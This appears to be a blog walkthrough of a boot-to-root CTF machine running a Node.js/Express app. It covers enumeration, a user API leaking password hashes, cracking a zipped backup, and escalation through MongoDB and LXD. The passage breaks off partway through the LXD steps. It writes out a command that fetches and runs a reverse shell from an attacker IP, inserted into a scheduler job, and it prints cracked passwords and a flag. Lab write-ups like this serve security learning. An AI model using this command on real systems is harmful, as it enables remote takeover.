This was my first (I think?) NodeJS application assessment and I was VERY EXCITED.
Let’s get to it!
Host Identification and Port Mapping
As always we use netdiscover to establish the IP of the box –
192.168.56.101 it is then.
Next up we port scan the box, as always –
Small attack surface, only SSH running and a Node.JS application which is running with the Express routing library. Let’s go and take a look at port 3000 in our web browser!
Manually Enumerating the Web Application
So the website looks like this when opened in our browser –
Pretty looking site actually, normally Boot 2 Root sites are a bit… old skool with their styling!
Looking in Chrome’s developer console we quickly find this little nugget –
So it looks like we can call $website/api/users/$username to get some user details. Let’s do that now!
Uh oh… That’s a password hash.. Why’s that there..??
Now you might be thinking “let’s bruteforce the other users!” (that’s what I thought!) but we can actually rely on a bit of intuition here and simply request “/api/users/” instead to get ALL users (and password hashes…) back –
Result, we got the only hash which matters, the admin’s hash.
Upon logging in as myP14ceAdm1nAcc0uNT with password “manchester” we see…
Which points to /api/admin/backup!
Clicking the button yields a 3.5MB lump of what’s clearly base64, running “base64 -d mysite.backup > mysite.unbased” yields a binary file.. Using the linux “file” command we establish that it’s a ZIP file –
# file myplace.unbased !339
myplace.unbased:Zip archive data,at least v1.0toextract
Which we subsequently unzip to get the treats from within. Or rather, we would if it wasn’t password protected. Bah!
So we bust out our handy “fcrackzip” tool and kick it off!
Bingo, “magicword” does the trick! So nowwe can enumerate the treats within this ZIP file.
The majority of the backup is the “node_modules” directory which all Node apps come with, along with all of the client side code and most importantly the server side Node app!
Inside the Node app there are two things of interest –
A MASSIVE trollface gets returned if you use Dirb etc. as your user agent (I lol’d)
So upon SSHing in as Mark, we land in a very restrictive read-only home directory. There’s nothing of interest in this home directory, and the other directories (Tom and Frank) are either empty or have nothing of interest in them.
Now, running the usual gamut of tools to find out how to get privesc, we notice this little nugget –
Very interesting. If we manage to get a document into the “scheduler” collection with a “cmd” field of.. “cd /tmp; wget $ip/reverseShell; ./reverseShell” then we’ll get a reverseShell as Tom when this code fires! Cool, huh?
Thankfully this script gives us the Mongo credentials so we can go ahead and do that right meow.
We got a shell as Tom! Awesome! Now let’s see what havoc we can cause.
First things first, we cat a file named “user.txt” in his home directory to get the first flag – e1156acc3574e04b06908ecf76be91b1
Now we start the usual process of system enumeration.
unix-privesc-check yielded nothing of interest, but LinEnum spat out this line “[+] We’re a member of the (lxd) group – could possibly misuse these rights!” which led to to finding this excellent post which details how to get Priv Esc with LXD 😀
So the steps to go from Tom to root are –
Download some images on my attacker machine (because I do not want to connect the vulnerable machine to the internet)